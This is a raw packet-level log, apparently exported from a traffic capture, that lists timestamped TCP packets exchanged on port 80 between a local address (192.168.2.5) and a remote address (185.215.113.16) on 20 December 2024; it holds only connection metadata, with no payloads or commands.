Dec 20, 2024 16:07:10.686760902 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.687714100 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.687726974 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.687803030 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.688822985 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.688833952 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.688886881 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.690102100 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.690114975 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.690169096 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.691407919 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.691435099 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.691473961 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.691498995 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.692843914 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.692857027 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.692868948 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.692903042 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.692929029 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.694086075 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.694101095 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.694148064 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.694180965 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.695420027 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.695432901 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.695487976 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.696744919 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.696759939 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.696810007 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.698048115 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.698071003 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.698136091 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.698165894 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.699419975 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.699434996 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.699446917 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.699485064 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.699518919 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.700726986 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.700742006 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.700800896 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.700834036 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.702033043 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.702056885 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.702095032 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.702126026 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.703413010 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.703463078 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.703520060 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.704688072 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.704704046 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.704716921 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.704747915 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.704783916 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.706027985 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.706042051 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.706093073 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.707370996 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.707386017 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.707429886 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.708770990 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.708791971 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.708851099 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.708888054 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.710012913 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.710026979 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.710037947 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.710072994 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.710105896 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.711343050 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.711354971 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.711429119 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.712721109 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.712734938 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.712774992 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.713989019 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.714001894 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.714044094 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.715320110 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.715342999 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.715377092 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.715404034 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.716624022 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.716639042 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.716650963 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.716681957 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.716701031 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.717986107 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.718000889 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.718059063 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.719326019 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.719342947 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.719424009 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.719461918 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.720659971 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.720679998 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.720721960 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.720745087 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.721968889 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.721991062 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.722006083 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.722032070 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.722400904 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.723267078 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.723279953 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.723355055 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.724603891 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.724622011 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.724659920 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.724688053 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.725951910 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.725970030 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.726026058 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.727351904 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.727365017 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.727406979 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.728595972 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.728610039 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.728622913 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.728635073 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.728650093 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.728674889 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.856683969 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.856806040 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.857029915 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.857048988 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.857074976 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.857100010 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.858072042 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.858125925 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.858705997 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.858717918 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.858762026 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.859867096 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.859879017 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.859922886 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.861040115 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.861052036 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.861103058 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.862257004 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.862267971 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.862312078 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.864912033 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.864972115 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.866226912 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.866239071 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.866286039 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.867600918 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.867660999 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.870274067 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.870289087 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.870301008 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.870353937 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.870373011 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.871567965 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.871579885 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.871625900 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.872982979 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.873038054 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.874258995 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.874310017 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.875561953 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.875575066 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.875614882 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.876849890 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.876863956 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.876876116 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.876903057 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.876986027 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.878204107 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.878216982 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.878264904 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.879559040 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.879573107 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.879618883 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.880816936 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.880830050 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.880877018 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.882160902 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.882179976 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.882235050 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.882256985 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.883510113 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.883526087 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.883536100 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.883564949 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.883589983 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.884818077 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.884831905 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.884870052 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.886187077 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.886199951 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.886245966 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.887533903 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.887553930 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.887588978 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.887612104 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.888935089 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.888947964 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.888958931 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.888988972 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.889014959 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.891469002 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.891526937 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.892785072 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.892798901 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.892863989 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.894118071 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.894130945 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.894172907 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.895423889 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.895438910 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.895478964 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.896764994 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.896776915 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.896786928 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.896817923 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.896835089 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.898128033 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.898140907 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.898179054 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.899389982 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.899408102 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.899439096 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.899460077 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.900733948 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.900746107 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.900793076 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.902031898 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.902046919 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.902086020 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.903500080 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.903513908 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.903525114 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.903552055 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.903577089 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.904799938 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.904814005 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.904851913 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.906048059 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.906060934 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.906101942 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.907372952 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.907417059 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.907427073 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.907464027 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.908771038 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.908783913 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.908795118 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.908827066 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.908852100 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.910069942 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.910082102 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.910126925 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.911389112 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.911403894 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.911458969 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.912691116 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.912703991 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.912739992 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.912763119 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.914031029 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.914045095 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.914104939 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.915435076 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.915446997 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.915494919 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.916671038 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.916687012 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.916712999 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.916723967 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.916750908 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.918014050 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.918041945 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.918067932 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.918081999 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.919364929 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.919382095 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.919418097 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.920651913 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.920665979 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.920701981 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.920726061 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.921981096 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.921993971 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.922004938 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.922038078 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.922058105 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.923350096 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.923363924 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.923405886 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.924629927 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.924642086 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.924711943 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.925985098 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.925997972 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.926006079 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.926043034 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.926059961 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.048758030 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.048883915 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.049035072 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.049047947 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.049108028 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.049637079 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.049686909 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.050158978 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.050172091 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.050211906 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.051006079 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.051018953 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.051054001 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.051074982 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.051912069 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.051965952 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.052408934 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.052423954 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.052454948 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.052468061 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.053375006 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.053428888 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.053927898 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.053958893 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.053977013 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.053996086 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.055217028 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.055294037 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.055691004 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.055718899 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.055749893 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.055764914 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.056757927 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.056814909 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.057207108 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.057687044 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.057691097 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.057702065 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:11.057729006 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.057748079 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:11.058670044 CET	80	49806	185.215.113.16	192.168.2.5
